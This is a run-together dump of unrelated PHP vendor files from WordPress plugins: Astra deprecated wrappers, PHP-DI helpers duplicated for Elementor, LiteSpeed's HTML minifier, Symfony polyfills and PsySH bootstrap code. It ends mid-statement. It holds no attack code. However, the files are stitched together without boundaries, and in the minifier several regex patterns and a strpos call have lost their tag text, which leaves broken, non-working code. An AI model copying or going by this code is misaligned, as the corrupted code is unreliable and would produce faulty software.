CSS. * * @since 3.6.2 * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * * @see astra_addon_header_menu_dynamic_css() * * @return string */ function astra_ext_hb_menu_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_header_menu_dynamic_css()' ); return astra_addon_header_menu_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ); } /** * Deprecating astra_header_social_dynamic_css function. * * Header builder - Social dynamic CSS. * * @since 3.6.2 * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * * @see astra_addon_header_social_dynamic_css() * * @return string */ function astra_header_social_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_header_social_dynamic_css()' ); return astra_addon_header_social_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ); }declare (strict_types=1); namespace ElementorProDeps\DI; use ElementorProDeps\DI\Definition\ArrayDefinitionExtension; use ElementorProDeps\DI\Definition\EnvironmentVariableDefinition; use ElementorProDeps\DI\Definition\Helper\AutowireDefinitionHelper; use ElementorProDeps\DI\Definition\Helper\CreateDefinitionHelper; use ElementorProDeps\DI\Definition\Helper\FactoryDefinitionHelper; use ElementorProDeps\DI\Definition\Reference; use ElementorProDeps\DI\Definition\StringDefinition; use ElementorProDeps\DI\Definition\ValueDefinition; if (!\function_exists('ElementorProDeps\\DI\\value')) { /** * Helper for defining a value. * * @param mixed $value */ function value($value) : ValueDefinition { return new ValueDefinition($value); } } if (!\function_exists('ElementorProDeps\\DI\\create')) { /** * Helper for defining an object. * * @param string|null $className Class name of the object. * If null, the name of the entry (in the container) will be used as class name. */ function create(string $className = null) : CreateDefinitionHelper { return new CreateDefinitionHelper($className); } } if (!\function_exists('ElementorProDeps\\DI\\autowire')) { /** * Helper for autowiring an object. * * @param string|null $className Class name of the object. * If null, the name of the entry (in the container) will be used as class name. */ function autowire(string $className = null) : AutowireDefinitionHelper { return new AutowireDefinitionHelper($className); } } if (!\function_exists('ElementorProDeps\\DI\\factory')) { /** * Helper for defining a container entry using a factory function/callable. * * @param callable $factory The factory is a callable that takes the container as parameter * and returns the value to register in the container. */ function factory($factory) : FactoryDefinitionHelper { return new FactoryDefinitionHelper($factory); } } if (!\function_exists('ElementorProDeps\\DI\\decorate')) { /** * Decorate the previous definition using a callable. * * Example: * * 'foo' => decorate(function ($foo, $container) { * return new CachedFoo($foo, $container->get('cache')); * }) * * @param callable $callable The callable takes the decorated object as first parameter and * the container as second. */ function decorate($callable) : FactoryDefinitionHelper { return new FactoryDefinitionHelper($callable, \true); } } if (!\function_exists('ElementorProDeps\\DI\\get')) { /** * Helper for referencing another container entry in an object definition. */ function get(string $entryName) : Reference { return new Reference($entryName); } } if (!\function_exists('ElementorProDeps\\DI\\env')) { /** * Helper for referencing environment variables. * * @param string $variableName The name of the environment variable. * @param mixed $defaultValue The default value to be used if the environment variable is not defined. */ function env(string $variableName, $defaultValue = null) : EnvironmentVariableDefinition { // Only mark as optional if the default value was *explicitly* provided. $isOptional = 2 === \func_num_args(); return new EnvironmentVariableDefinition($variableName, $isOptional, $defaultValue); } } if (!\function_exists('ElementorProDeps\\DI\\add')) { /** * Helper for extending another definition. * * Example: * * 'log.backends' => DI\add(DI\get('My\Custom\LogBackend')) * * or: * * 'log.backends' => DI\add([ * DI\get('My\Custom\LogBackend') * ]) * * @param mixed|array $values A value or an array of values to add to the array. * * @since 5.0 */ function add($values) : ArrayDefinitionExtension { if (!\is_array($values)) { $values = [$values]; } return new ArrayDefinitionExtension($values); } } if (!\function_exists('ElementorProDeps\\DI\\string')) { /** * Helper for concatenating strings. * * Example: * * 'log.filename' => DI\string('{app.path}/app.log') * * @param string $expression A string expression. Use the `{}` placeholders to reference other container entries. * * @since 5.0 */ function string(string $expression) : StringDefinition { return new StringDefinition($expression); } }declare (strict_types=1); namespace ElementorDeps\DI; use ElementorDeps\DI\Definition\ArrayDefinitionExtension; use ElementorDeps\DI\Definition\EnvironmentVariableDefinition; use ElementorDeps\DI\Definition\Helper\AutowireDefinitionHelper; use ElementorDeps\DI\Definition\Helper\CreateDefinitionHelper; use ElementorDeps\DI\Definition\Helper\FactoryDefinitionHelper; use ElementorDeps\DI\Definition\Reference; use ElementorDeps\DI\Definition\StringDefinition; use ElementorDeps\DI\Definition\ValueDefinition; if (!\function_exists('ElementorDeps\\DI\\value')) { /** * Helper for defining a value. * * @param mixed $value */ function value($value) : ValueDefinition { return new ValueDefinition($value); } } if (!\function_exists('ElementorDeps\\DI\\create')) { /** * Helper for defining an object. * * @param string|null $className Class name of the object. * If null, the name of the entry (in the container) will be used as class name. */ function create(string $className = null) : CreateDefinitionHelper { return new CreateDefinitionHelper($className); } } if (!\function_exists('ElementorDeps\\DI\\autowire')) { /** * Helper for autowiring an object. * * @param string|null $className Class name of the object. * If null, the name of the entry (in the container) will be used as class name. */ function autowire(string $className = null) : AutowireDefinitionHelper { return new AutowireDefinitionHelper($className); } } if (!\function_exists('ElementorDeps\\DI\\factory')) { /** * Helper for defining a container entry using a factory function/callable. * * @param callable $factory The factory is a callable that takes the container as parameter * and returns the value to register in the container. */ function factory($factory) : FactoryDefinitionHelper { return new FactoryDefinitionHelper($factory); } } if (!\function_exists('ElementorDeps\\DI\\decorate')) { /** * Decorate the previous definition using a callable. * * Example: * * 'foo' => decorate(function ($foo, $container) { * return new CachedFoo($foo, $container->get('cache')); * }) * * @param callable $callable The callable takes the decorated object as first parameter and * the container as second. */ function decorate($callable) : FactoryDefinitionHelper { return new FactoryDefinitionHelper($callable, \true); } } if (!\function_exists('ElementorDeps\\DI\\get')) { /** * Helper for referencing another container entry in an object definition. */ function get(string $entryName) : Reference { return new Reference($entryName); } } if (!\function_exists('ElementorDeps\\DI\\env')) { /** * Helper for referencing environment variables. * * @param string $variableName The name of the environment variable. * @param mixed $defaultValue The default value to be used if the environment variable is not defined. */ function env(string $variableName, $defaultValue = null) : EnvironmentVariableDefinition { // Only mark as optional if the default value was *explicitly* provided. $isOptional = 2 === \func_num_args(); return new EnvironmentVariableDefinition($variableName, $isOptional, $defaultValue); } } if (!\function_exists('ElementorDeps\\DI\\add')) { /** * Helper for extending another definition. * * Example: * * 'log.backends' => DI\add(DI\get('My\Custom\LogBackend')) * * or: * * 'log.backends' => DI\add([ * DI\get('My\Custom\LogBackend') * ]) * * @param mixed|array $values A value or an array of values to add to the array. * * @since 5.0 */ function add($values) : ArrayDefinitionExtension { if (!\is_array($values)) { $values = [$values]; } return new ArrayDefinitionExtension($values); } } if (!\function_exists('ElementorDeps\\DI\\string')) { /** * Helper for concatenating strings. * * Example: * * 'log.filename' => DI\string('{app.path}/app.log') * * @param string $expression A string expression. Use the `{}` placeholders to reference other container entries. * * @since 5.0 */ function string(string $expression) : StringDefinition { return new StringDefinition($expression); } }/** * Compress HTML * * This is a heavy regex-based removal of whitespace, unnecessary comments and * tokens. IE conditional comments are preserved. There are also options to have * STYLE and SCRIPT blocks compressed by callback functions. * * A test suite is available. * * @package Minify * @author Stephen Clay */ namespace LiteSpeed\Lib ; defined( 'WPINC' ) || exit ; class HTML_MIN { /** * @var string */ protected $_html = ''; /** * @var boolean */ protected $_jsCleanComments = true; protected $_skipComments = array(); /** * "Minify" an HTML page * * @param string $html * * @param array $options * * 'cssMinifier' : (optional) callback function to process content of STYLE * elements. * * 'jsMinifier' : (optional) callback function to process content of SCRIPT * elements. Note: the type attribute is ignored. * * 'xhtml' : (optional boolean) should content be treated as XHTML1.0? If * unset, minify will sniff for an XHTML doctype. * * @return string */ public static function minify($html, $options = array()) { $min = new self($html, $options); return $min->process(); } /** * Create a minifier object * * @param string $html * * @param array $options * * 'cssMinifier' : (optional) callback function to process content of STYLE * elements. * * 'jsMinifier' : (optional) callback function to process content of SCRIPT * elements. Note: the type attribute is ignored. * * 'jsCleanComments' : (optional) whether to remove HTML comments beginning and end of script block * * 'xhtml' : (optional boolean) should content be treated as XHTML1.0? If * unset, minify will sniff for an XHTML doctype. */ public function __construct($html, $options = array()) { $this->_html = str_replace("\r\n", "\n", trim($html)); if (isset($options['xhtml'])) { $this->_isXhtml = (bool)$options['xhtml']; } if (isset($options['cssMinifier'])) { $this->_cssMinifier = $options['cssMinifier']; } if (isset($options['jsMinifier'])) { $this->_jsMinifier = $options['jsMinifier']; } if (isset($options['jsCleanComments'])) { $this->_jsCleanComments = (bool)$options['jsCleanComments']; } if (isset($options['skipComments'])) { $this->_skipComments = $options['skipComments']; } } /** * Minify the markeup given in the constructor * * @return string */ public function process() { if ($this->_isXhtml === null) { $this->_isXhtml = (false !== strpos($this->_html, '_replacementHash = 'MINIFYHTML' . md5($_SERVER['REQUEST_TIME']); $this->_placeholders = array(); // replace SCRIPTs (and minify) with placeholders $this->_html = preg_replace_callback( '/(\\s*)]*?>)([\\s\\S]*?)<\\/script>(\\s*)/i' ,array($this, '_removeScriptCB') ,$this->_html); // replace STYLEs (and minify) with placeholders $this->_html = preg_replace_callback( '/\\s*]*>)([\\s\\S]*?)<\\/style>\\s*/i' ,array($this, '_removeStyleCB') ,$this->_html); // remove HTML comments (not containing IE conditional comments). $this->_html = preg_replace_callback( '//' ,array($this, '_commentCB') ,$this->_html); // replace PREs with placeholders $this->_html = preg_replace_callback('/\\s*]*?>[\\s\\S]*?<\\/pre>)\\s*/i' ,array($this, '_removePreCB') ,$this->_html); // replace TEXTAREAs with placeholders $this->_html = preg_replace_callback( '/\\s*]*?>[\\s\\S]*?<\\/textarea>)\\s*/i' ,array($this, '_removeTextareaCB') ,$this->_html); // trim each line. // @todo take into account attribute values that span multiple lines. $this->_html = preg_replace('/^\\s+|\\s+$/m', '', $this->_html); // remove ws around block/undisplayed elements $this->_html = preg_replace('/\\s+(<\\/?(?:area|article|aside|base(?:font)?|blockquote|body' .'|canvas|caption|center|col(?:group)?|dd|dir|div|dl|dt|fieldset|figcaption|figure|footer|form' .'|frame(?:set)?|h[1-6]|head|header|hgroup|hr|html|legend|li|link|main|map|menu|meta|nav' .'|ol|opt(?:group|ion)|output|p|param|section|t(?:able|body|head|d|h||r|foot|itle)' .'|ul|video)\\b[^>]*>)/i', '$1', $this->_html); // remove ws outside of all elements $this->_html = preg_replace( '/>(\\s(?:\\s*))?([^<]+)(\\s(?:\s*))?$1$2$3<' ,$this->_html); // use newlines before 1st attribute in open tags (to limit line lengths) // $this->_html = preg_replace('/(<[a-z\\-]+)\\s+([^>]+>)/i', "$1\n$2", $this->_html); // fill placeholders $this->_html = str_replace( array_keys($this->_placeholders) ,array_values($this->_placeholders) ,$this->_html ); // issue 229: multi-pass to catch scripts that didn't get replaced in textareas $this->_html = str_replace( array_keys($this->_placeholders) ,array_values($this->_placeholders) ,$this->_html ); return $this->_html; } /** * From LSCWP 6.2: Changed the function to test for special comments that will be skipped. See: https://github.com/litespeedtech/lscache_wp/pull/622 */ protected function _commentCB($m) { // If is IE conditional comment return it. if(0 === strpos($m[1], '[') || false !== strpos($m[1], ' HTML Settings -> HTML Keep comments if(count($this->_skipComments) > 0){ foreach ($this->_skipComments as $comment) { if ($comment && strpos($m[1], $comment) !== false) { return $m[0]; } } } // Comment can be removed. return ''; } protected function _reservePlace($content) { $placeholder = '%' . $this->_replacementHash . count($this->_placeholders) . '%'; $this->_placeholders[$placeholder] = $content; return $placeholder; } protected $_isXhtml = null; protected $_replacementHash = null; protected $_placeholders = array(); protected $_cssMinifier = null; protected $_jsMinifier = null; protected function _removePreCB($m) { return $this->_reservePlace("_reservePlace("\\s*$)/', '', $css); // remove CDATA section markers $css = $this->_removeCdata($css); // minify $minifier = $this->_cssMinifier ? $this->_cssMinifier : 'trim'; $css = call_user_func($minifier, $css); return $this->_reservePlace($this->_needsCdata($css) ? "{$openStyle}/**/" : "{$openStyle}{$css}" ); } protected function _removeScriptCB($m) { $openScript = "_jsCleanComments) { $js = preg_replace('/(?:^\\s*\\s*$)/', '', $js); } // remove CDATA section markers $js = $this->_removeCdata($js); // minify /** * Added 2nd param by LiteSpeed * * @since 2.2.3 */ if ( $this->_jsMinifier ) { $js = call_user_func( $this->_jsMinifier, $js, trim( $m[ 2 ] ) ) ; } else { $js = trim( $js ) ; } return $this->_reservePlace($this->_needsCdata($js) ? "{$ws1}{$openScript}/**/{$ws2}" : "{$ws1}{$openScript}{$js}{$ws2}" ); } protected function _removeCdata($str) { return (false !== strpos($str, ''), '', $str) : $str; } protected function _needsCdata($str) { return ($this->_isXhtml && preg_match('/(?:[<&]|\\-\\-|\\]\\]>)/', $str)); } }/* * This file is part of the Symfony package. * * (c) Fabien Potencier * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ use Symfony\Polyfill\Mbstring as p; if (!function_exists('mb_convert_encoding')) { function mb_convert_encoding(array|string|null $string, ?string $to_encoding, array|string|null $from_encoding = null): array|string|false { return p\Mbstring::mb_convert_encoding($string ?? '', (string) $to_encoding, $from_encoding); } } if (!function_exists('mb_decode_mimeheader')) { function mb_decode_mimeheader(?string $string): string { return p\Mbstring::mb_decode_mimeheader((string) $string); } } if (!function_exists('mb_encode_mimeheader')) { function mb_encode_mimeheader(?string $string, ?string $charset = null, ?string $transfer_encoding = null, ?string $newline = "\r\n", ?int $indent = 0): string { return p\Mbstring::mb_encode_mimeheader((string) $string, $charset, $transfer_encoding, (string) $newline, (int) $indent); } } if (!function_exists('mb_decode_numericentity')) { function mb_decode_numericentity(?string $string, array $map, ?string $encoding = null): string { return p\Mbstring::mb_decode_numericentity((string) $string, $map, $encoding); } } if (!function_exists('mb_encode_numericentity')) { function mb_encode_numericentity(?string $string, array $map, ?string $encoding = null, ?bool $hex = false): string { return p\Mbstring::mb_encode_numericentity((string) $string, $map, $encoding, (bool) $hex); } } if (!function_exists('mb_convert_case')) { function mb_convert_case(?string $string, ?int $mode, ?string $encoding = null): string { return p\Mbstring::mb_convert_case((string) $string, (int) $mode, $encoding); } } if (!function_exists('mb_internal_encoding')) { function mb_internal_encoding(?string $encoding = null): string|bool { return p\Mbstring::mb_internal_encoding($encoding); } } if (!function_exists('mb_language')) { function mb_language(?string $language = null): string|bool { return p\Mbstring::mb_language($language); } } if (!function_exists('mb_list_encodings')) { function mb_list_encodings(): array { return p\Mbstring::mb_list_encodings(); } } if (!function_exists('mb_encoding_aliases')) { function mb_encoding_aliases(?string $encoding): array { return p\Mbstring::mb_encoding_aliases((string) $encoding); } } if (!function_exists('mb_check_encoding')) { function mb_check_encoding(array|string|null $value = null, ?string $encoding = null): bool { return p\Mbstring::mb_check_encoding($value, $encoding); } } if (!function_exists('mb_detect_encoding')) { function mb_detect_encoding(?string $string, array|string|null $encodings = null, ?bool $strict = false): string|false { return p\Mbstring::mb_detect_encoding((string) $string, $encodings, (bool) $strict); } } if (!function_exists('mb_detect_order')) { function mb_detect_order(array|string|null $encoding = null): array|bool { return p\Mbstring::mb_detect_order($encoding); } } if (!function_exists('mb_parse_str')) { function mb_parse_str(?string $string, &$result = []): bool { parse_str((string) $string, $result); return (bool) $result; } } if (!function_exists('mb_strlen')) { function mb_strlen(?string $string, ?string $encoding = null): int { return p\Mbstring::mb_strlen((string) $string, $encoding); } } if (!function_exists('mb_strpos')) { function mb_strpos(?string $haystack, ?string $needle, ?int $offset = 0, ?string $encoding = null): int|false { return p\Mbstring::mb_strpos((string) $haystack, (string) $needle, (int) $offset, $encoding); } } if (!function_exists('mb_strtolower')) { function mb_strtolower(?string $string, ?string $encoding = null): string { return p\Mbstring::mb_strtolower((string) $string, $encoding); } } if (!function_exists('mb_strtoupper')) { function mb_strtoupper(?string $string, ?string $encoding = null): string { return p\Mbstring::mb_strtoupper((string) $string, $encoding); } } if (!function_exists('mb_substitute_character')) { function mb_substitute_character(string|int|null $substitute_character = null): string|int|bool { return p\Mbstring::mb_substitute_character($substitute_character); } } if (!function_exists('mb_substr')) { function mb_substr(?string $string, ?int $start, ?int $length = null, ?string $encoding = null): string { return p\Mbstring::mb_substr((string) $string, (int) $start, $length, $encoding); } } if (!function_exists('mb_stripos')) { function mb_stripos(?string $haystack, ?string $needle, ?int $offset = 0, ?string $encoding = null): int|false { return p\Mbstring::mb_stripos((string) $haystack, (string) $needle, (int) $offset, $encoding); } } if (!function_exists('mb_stristr')) { function mb_stristr(?string $haystack, ?string $needle, ?bool $before_needle = false, ?string $encoding = null): string|false { return p\Mbstring::mb_stristr((string) $haystack, (string) $needle, (bool) $before_needle, $encoding); } } if (!function_exists('mb_strrchr')) { function mb_strrchr(?string $haystack, ?string $needle, ?bool $before_needle = false, ?string $encoding = null): string|false { return p\Mbstring::mb_strrchr((string) $haystack, (string) $needle, (bool) $before_needle, $encoding); } } if (!function_exists('mb_strrichr')) { function mb_strrichr(?string $haystack, ?string $needle, ?bool $before_needle = false, ?string $encoding = null): string|false { return p\Mbstring::mb_strrichr((string) $haystack, (string) $needle, (bool) $before_needle, $encoding); } } if (!function_exists('mb_strripos')) { function mb_strripos(?string $haystack, ?string $needle, ?int $offset = 0, ?string $encoding = null): int|false { return p\Mbstring::mb_strripos((string) $haystack, (string) $needle, (int) $offset, $encoding); } } if (!function_exists('mb_strrpos')) { function mb_strrpos(?string $haystack, ?string $needle, ?int $offset = 0, ?string $encoding = null): int|false { return p\Mbstring::mb_strrpos((string) $haystack, (string) $needle, (int) $offset, $encoding); } } if (!function_exists('mb_strstr')) { function mb_strstr(?string $haystack, ?string $needle, ?bool $before_needle = false, ?string $encoding = null): string|false { return p\Mbstring::mb_strstr((string) $haystack, (string) $needle, (bool) $before_needle, $encoding); } } if (!function_exists('mb_get_info')) { function mb_get_info(?string $type = 'all'): array|string|int|false { return p\Mbstring::mb_get_info((string) $type); } } if (!function_exists('mb_http_output')) { function mb_http_output(?string $encoding = null): string|bool { return p\Mbstring::mb_http_output($encoding); } } if (!function_exists('mb_strwidth')) { function mb_strwidth(?string $string, ?string $encoding = null): int { return p\Mbstring::mb_strwidth((string) $string, $encoding); } } if (!function_exists('mb_substr_count')) { function mb_substr_count(?string $haystack, ?string $needle, ?string $encoding = null): int { return p\Mbstring::mb_substr_count((string) $haystack, (string) $needle, $encoding); } } if (!function_exists('mb_output_handler')) { function mb_output_handler(?string $string, ?int $status): string { return p\Mbstring::mb_output_handler((string) $string, (int) $status); } } if (!function_exists('mb_http_input')) { function mb_http_input(?string $type = null): array|string|false { return p\Mbstring::mb_http_input($type); } } if (!function_exists('mb_convert_variables')) { function mb_convert_variables(?string $to_encoding, array|string|null $from_encoding, mixed &$var, mixed &...$vars): string|false { return p\Mbstring::mb_convert_variables((string) $to_encoding, $from_encoding ?? '', $var, ...$vars); } } if (!function_exists('mb_ord')) { function mb_ord(?string $string, ?string $encoding = null): int|false { return p\Mbstring::mb_ord((string) $string, $encoding); } } if (!function_exists('mb_chr')) { function mb_chr(?int $codepoint, ?string $encoding = null): string|false { return p\Mbstring::mb_chr((int) $codepoint, $encoding); } } if (!function_exists('mb_scrub')) { function mb_scrub(?string $string, ?string $encoding = null): string { $encoding ??= mb_internal_encoding(); return mb_convert_encoding((string) $string, $encoding, $encoding); } } if (!function_exists('mb_str_split')) { function mb_str_split(?string $string, ?int $length = 1, ?string $encoding = null): array { return p\Mbstring::mb_str_split((string) $string, (int) $length, $encoding); } } if (!function_exists('mb_str_pad')) { function mb_str_pad(string $string, int $length, string $pad_string = ' ', int $pad_type = STR_PAD_RIGHT, ?string $encoding = null): string { return p\Mbstring::mb_str_pad($string, $length, $pad_string, $pad_type, $encoding); } } if (extension_loaded('mbstring')) { return; } if (!defined('MB_CASE_UPPER')) { define('MB_CASE_UPPER', 0); } if (!defined('MB_CASE_LOWER')) { define('MB_CASE_LOWER', 1); } if (!defined('MB_CASE_TITLE')) { define('MB_CASE_TITLE', 2); }/* * This file is part of the Symfony package. * * (c) Fabien Potencier * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\String; if (!\function_exists(u::class)) { function u(?string $string = ''): UnicodeString { return new UnicodeString($string ?? ''); } } if (!\function_exists(b::class)) { function b(?string $string = ''): ByteString { return new ByteString($string ?? ''); } } if (!\function_exists(s::class)) { /** * @return UnicodeString|ByteString */ function s(?string $string = ''): AbstractString { $string = $string ?? ''; return preg_match('//u', $string) ? new UnicodeString($string) : new ByteString($string); } }/* * This file is part of Psy Shell. * * (c) 2012-2023 Justin Hileman * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Psy; use Psy\ExecutionLoop\ProcessForker; use Psy\VersionUpdater\GitHubChecker; use Psy\VersionUpdater\Installer; use Psy\VersionUpdater\SelfUpdate; use Symfony\Component\Console\Input\ArgvInput; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputDefinition; use Symfony\Component\Console\Input\InputOption; if (!\function_exists('Psy\\sh')) { /** * Command to return the eval-able code to startup PsySH. * * eval(\Psy\sh()); */ function sh(): string { if (\version_compare(\PHP_VERSION, '8.0', '<')) { return '\extract(\Psy\debug(\get_defined_vars(), isset($this) ? $this : @\get_called_class()));'; } return <<<'EOS' if (isset($this)) { \extract(\Psy\debug(\get_defined_vars(), $this)); } else { try { static::class; \extract(\Psy\debug(\get_defined_vars(), static::class)); } catch (\Error $e) { \extract(\Psy\debug(\get_defined_vars())); } } EOS; } } if (!\function_exists('Psy\\debug')) { /** * Invoke a Psy Shell from the current context. * * For example: * * foreach ($items as $item) { * \Psy\debug(get_defined_vars()); * } * * If you would like your shell interaction to affect the state of the * current context, you can extract() the values returned from this call: * * foreach ($items as $item) { * extract(\Psy\debug(get_defined_vars())); * var_dump($item); // will be whatever you set $item to in Psy Shell * } * * Optionally, supply an object as the `$bindTo` parameter. This determines * the value `$this` will have in the shell, and sets up class scope so that * private and protected members are accessible: * * class Foo { * function bar() { * \Psy\debug(get_defined_vars(), $this); * } * } * * For the static equivalent, pass a class name as the `$bindTo` parameter. * This makes `self` work in the shell, and sets up static scope so that * private and protected static members are accessible: * * class Foo { * static function bar() { * \Psy\debug(get_defined_vars(), get_called_class()); * } * } * * @param array $vars Scope variables from the calling context (default: []) * @param object|string $bindTo Bound object ($this) or class (self) value for the shell * * @return array Scope variables from the debugger session */ function debug(array $vars = [], $bindTo = null): array { echo \PHP_EOL; $sh = new Shell(); $sh->setScopeVariables($vars); // Show a couple of lines of call context for the debug session. // // @todo come up with a better way of doing this which doesn't involve injecting input :-P if ($sh->has('whereami')) { $sh->addInput('whereami -n2', true); } if (\is_string($bindTo)) { $sh->setBoundClass($bindTo); } elseif ($bindTo !== null) { $sh->setBoundObject($bindTo); } $sh->run(); return $sh->getScopeVariables(false); } } if (!\function_exists('Psy\\info')) { /** * Get a bunch of debugging info about the current PsySH environment and * configuration. * * If a Configuration param is passed, that configuration is stored and * used for the current shell session, and no debugging info is returned. * * @param Configuration|null $config * * @return array|null */ function info(Configuration $config = null) { static $lastConfig; if ($config !== null) { $lastConfig = $config; return; } $prettyPath = function ($path) { return $path; }; $homeDir = (new ConfigPaths())->homeDir(); if ($homeDir && $homeDir = \rtrim($homeDir, '/')) { $homePattern = '#^'.\preg_quote($homeDir, '#').'/#'; $prettyPath = function ($path) use ($homePattern) { if (\is_string($path)) { return \preg_replace($homePattern, '~/', $path); } else { return $path; } }; } $config = $lastConfig ?: new Configuration(); $configEnv = (isset($_SERVER['PSYSH_CONFIG']) && $_SERVER['PSYSH_CONFIG']) ? $_SERVER['PSYSH_CONFIG'] : false; if ($configEnv === false && \PHP_SAPI === 'cli-server') { $configEnv = \getenv('PSYSH_CONFIG'); } $shellInfo = [ 'PsySH version' => Shell::VERSION, ]; $core = [ 'PHP version' => \PHP_VERSION, 'OS' => \PHP_OS, 'default includes' => $config->getDefaultIncludes(), 'require semicolons' => $config->requireSemicolons(), 'strict types' => $config->strictTypes(), 'error logging level' => $config->errorLoggingLevel(), 'config file' => [ 'default config file' => $prettyPath($config->getConfigFile()), 'local config file' => $prettyPath($config->getLocalConfigFile()), 'PSYSH_CONFIG env' => $prettyPath($configEnv), ], // 'config dir' => $config->getConfigDir(), // 'data dir' => $config->getDataDir(), // 'runtime dir' => $config->getRuntimeDir(), ]; // Use an explicit, fresh update check here, rather than relying on whatever is in $config. $checker = new GitHubChecker(); $updateAvailable = null; $latest = null; try { $updateAvailable = !$checker->isLatest(); $latest = $checker->getLatest(); } catch (\Throwable $e) { } $updates = [ 'update available' => $updateAvailable, 'latest release version' => $latest, 'update check interval' => $config->getUpdateCheck(), 'update cache file' => $prettyPath($config->getUpdateCheckCacheFile()), ]; $input = [ 'interactive mode' => $config->interactiveMode(), 'input interactive' => $config->getInputInteractive(), 'yolo' => $config->yolo(), ]; if ($config->hasReadline()) { $info = \readline_info(); $readline = [ 'readline available' => true, 'readline enabled' => $config->useReadline(), 'readline service' => \get_class($config->getReadline()), ]; if (isset($info['library_version'])) { $readline['readline library'] = $info['library_version']; } if (isset($info['readline_name']) && $info['readline_name'] !== '') { $readline['readline name'] = $info['readline_name']; } } else { $readline = [ 'readline available' => false, ]; } $output = [ 'color mode' => $config->colorMode(), 'output decorated' => $config->getOutputDecorated(), 'output verbosity' => $config->verbosity(), 'output pager' => $config->getPager(), ]; $theme = $config->theme(); // TODO: show styles (but only if they're different than default?) $output['theme'] = [ 'compact' => $theme->compact(), 'prompt' => $theme->prompt(), 'bufferPrompt' => $theme->bufferPrompt(), 'replayPrompt' => $theme->replayPrompt(), 'returnValue' => $theme->returnValue(), ]; $pcntl = [ 'pcntl available' => ProcessForker::isPcntlSupported(), 'posix available' => ProcessForker::isPosixSupported(), ]; if ($disabledPcntl = ProcessForker::disabledPcntlFunctions()) { $pcntl['disabled pcntl functions'] = $disabledPcntl; } if ($disabledPosix = ProcessForker::disabledPosixFunctions()) { $pcntl['disabled posix functions'] = $disabledPosix; } $pcntl['use pcntl'] = $config->usePcntl(); $history = [ 'history file' => $prettyPath($config->getHistoryFile()), 'history size' => $config->getHistorySize(), 'erase duplicates' => $config->getEraseDuplicates(), ]; $docs = [ 'manual db file' => $prettyPath($config->getManualDbFile()), 'sqlite available' => true, ]; try { if ($db = $config->getManualDb()) { if ($q = $db->query('SELECT * FROM meta;')) { $q->setFetchMode(\PDO::FETCH_KEY_PAIR); $meta = $q->fetchAll(); foreach ($meta as $key => $val) { switch ($key) { case 'built_at': $d = new \DateTime('@'.$val); $val = $d->format(\DateTime::RFC2822); break; } $key = 'db '.\str_replace('_', ' ', $key); $docs[$key] = $val; } } else { $docs['db schema'] = '0.1.0'; } } } catch (Exception\RuntimeException $e) { if ($e->getMessage() === 'SQLite PDO driver not found') { $docs['sqlite available'] = false; } else { throw $e; } } $autocomplete = [ 'tab completion enabled' => $config->useTabCompletion(), 'bracketed paste' => $config->useBracketedPaste(), ]; // Shenanigans, but totally justified. try { if ($shell = Sudo::fetchProperty($config, 'shell')) { $shellClass = \get_class($shell); if ($shellClass !== 'Psy\\Shell') { $shellInfo = [ 'PsySH version' => $shell::VERSION, 'Shell class' => $shellClass, ]; } try { $core['loop listeners'] = \array_map('get_class', Sudo::fetchProperty($shell, 'loopListeners')); } catch (\ReflectionException $e) { // shrug } $core['commands'] = \array_map('get_class', $shell->all()); try { $autocomplete['custom matchers'] = \array_map('get_class', Sudo::fetchProperty($shell, 'matchers')); } catch (\ReflectionException $e) { // shrug } } } catch (\ReflectionException $e) { // shrug } // @todo Show Presenter / custom casters. return \array_merge($shellInfo, $core, \compact('updates', 'pcntl', 'input', 'readline', 'output', 'history', 'docs', 'autocomplete')); } } if (!\function_exists('Psy\\bin')) { /** * `psysh` command line executable. * * @return \Closure */ function bin(): \Closure { return function () { if (!isset($_SERVER['PSYSH_IGNORE_ENV']) || !$_SERVER['PSYSH_IGNORE_ENV']) { if (\defined('HHVM_VERSION_ID')) { \fwrite(\STDERR, 'PsySH v0.11 and higher does not support HHVM. Install an older version, or set the environment variable PSYSH_IGNORE_ENV=1 to override this restriction and proceed anyway.'.\PHP_EOL); exit(1); } if (\PHP_VERSION_ID < 70000) { \fwrite(\STDERR, 'PHP 7.0.0 or higher is required. You can set the environment variable PSYSH_IGNORE_ENV=1 to override this restriction and proceed anyway.'.\PHP_EOL); exit(1); } if (\PHP_VERSION_ID > 89999) { \fwrite(\STDERR, 'PHP 9 or higher is not supported. You can set the environment variable PSYSH_IGNORE_ENV=1 to override this restriction and proceed anyway.'.\PHP_EOL); exit(1); } if (!\function_exists('json_encode')) { \fwrite(\STDERR, 'The JSON extension is required. Please install it. You can set the environment variable PSYSH_IGNORE_ENV=1 to override this restriction and proceed anyway.'.\PHP_EOL); exit(1); } if (!\function_exists('token_get_all')) { \fwrite(\STDERR, 'The Tokenizer extension is required. Please install it. You can set the environment variable PSYSH_IGNORE_ENV=1 to override this restriction and proceed anyway.'.\PHP_EOL); exit(1); } } $usageException = null; $shellIsPhar = Shell::isPhar(); $input = new ArgvInput(); try { $input->bind(new InputDefinition(\array_merge(Configuration::getInputOptions(), [ new InputOption('help', 'h', InputOption::VALUE_NONE), new InputOption('version', 'V', InputOption::VALUE_NONE), new InputOption('self-update', 'u', InputOption::VALUE_NONE), new InputArgument('include', InputArgument::IS_ARRAY), ]))); } catch (\RuntimeException $e) { $usageException = $e; } try { $config = Configuration::fromInput($input); } catch (\InvalidArgumentException $e) { $usageException = $e; } // Handle --help if (!isset($config) || $usageException !== null || $input->getOption('help')) { if ($usageException !== null) { echo $usageException->getMessage().\PHP_EOL.\PHP_EOL; } $version = Shell::getVersionHeader(false); $argv = isset($_SERVER['argv']) 